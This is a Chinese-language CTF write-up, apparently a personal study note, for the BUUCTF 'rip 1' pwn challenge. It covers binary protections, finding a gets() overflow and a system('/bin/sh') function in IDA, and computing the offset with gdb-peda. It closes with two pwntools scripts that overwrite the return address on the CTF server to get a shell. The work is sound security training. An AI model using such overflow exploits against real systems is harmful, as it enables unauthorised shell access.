题目:BUUCTF rip 1
整体参考:
添加链接描述(写得好详细我好爱
BUUCTF (PWN) RIP详细分析(为什么payload有两种写法
其他知识&&引用:
二进制的保护机制
8086汇编语言dup指令学习
【Tips】使用gdb-peda进行RIP覆盖点偏移量的计算
于2024.04.26
pwn基本思路
太久没碰pwn了(而且本来也不是很熟),几乎全忘了,通过这道题整理一下基本做题思路
题面
(以下是我的瞎理解)
题目会给一个靶机(?)地址和端口,给一个附件
这个附件是和远程一样的内容,连远程其实相当于远程运行这个附件程序
所以可以通过对附件的检查和解析来帮助我们确定怎么去获取远程控制权(system("/bin/sh")
),最终得到flag
需要注意的是,不管怎么分析附件程序,最终还是要通过远程连接获取flag,这才是pwn的目的,所以有些本地和远程运行起来不一样的地方要特别注意(对的我在提醒我自己我个大傻子
checksec
可以查看文件类型和linux下的ELF二进制文件的保护机制
二进制保护机制
来自二进制的保护机制
1.Canary(栈保护)
这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
2.NX/DEP(堆栈不可执行)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
3.PIE/ASLR(地址随机化)
4.Fortify
这个保护机制查了很久都没有个很好的汉语形容,根据我的理解它其实和栈保护都是gcc的新的为了增强保护的一种机制,防止缓冲区溢出攻击。由于并不是太常见,也没有太多的了解。
5.RelRO
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
附件分析
我一般用ida,上面查了是64位的所以用ida64打开
main函数有明显的漏洞,gets,又没有栈溢出保护,可以栈溢出
字符里很容易发现/bin/sh
(获取权限的命令,pwn手最爱
双击找到字符串的地址
在这一行上右键,选Xrefs to,可以看到哪里引用了这个字符串(不知道有没有别的办法
来看看fun这个函数
直接是system("/bin/sh")
,非常的好,那么只要通过栈溢出把返回地址改成这个fun函数的地址就行了(0x401186
算偏移量
看地址算偏移量
点进去main函数里的输入字符串s,看到一共15个字节
注意到后边有个db 8 dup(?)
来自8086汇编语言dup指令学习:
dup是duplicate的缩写,重复的意思;
用来定义重复的字节、字、双字、结构等内存缓冲区;
db x dup(),x是重复的次数,()里是要重复的数,逗号分隔;
db 重复的次数 dup (重复的字节性数据)
dw 重复的次数 dup (重复的字型数据)
dd 重复的次数 dup (重复的双字性数据)
那就需要15+8=23个字节
为什么要加上这个dup呢,似乎是要覆盖ebp,ebp后面才是返回地址,64位的ebp是8B
gdb-peda算偏移量
gdb和peda都要先配置好像,之前配过了所以直接用了,这里是默认进peda
gdb pwn1
生成溢出字符串
pattern create 200
这个200是指定字符串的长度,要保证能够产生溢出
r
或者run
命令让程序运行
汗流浃背了,忘了给附件可执行权限,用chmod改一下再来
在程序提示输入的时候把上面生成的溢出字符串贴上去(注意去掉单引号),发生段错误
此时RBP里存的是nAACAA-A
,这段字符在整个溢出字符串中的的偏移就是我们要求的输入开头到返回地址的偏移量
使用pattern offset
计算偏移
也可以看栈顶的偏移
直接得到23
写脚本
脚本模板:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell
1
from pwn import *
p = remote('node5.buuoj.cn', 29467)
p.sendline(b'a' * 15 + p64(0x401186))
p.interactive()
2
from pwn import *
p = remote('node5.buuoj.cn', 29467)
p.sendline(b'a' * 23 + p64(0x401198) + p64(0x401186))
p.interactive()
这里在返回地址前要填一个ret的地址,实测0x401198
(fun的ret)、0x401185
(main的ret)、0x4010C0
(deregister_tm_clones的ret)都可以,应该什么ret都可以
这里为什么payload这两种都可以我还是不太明白,在这篇文章的反思里有些解释
BUUCTF (PWN) RIP详细分析
还是没懂…以后再说吧
连远程,cat flag
写完之后运行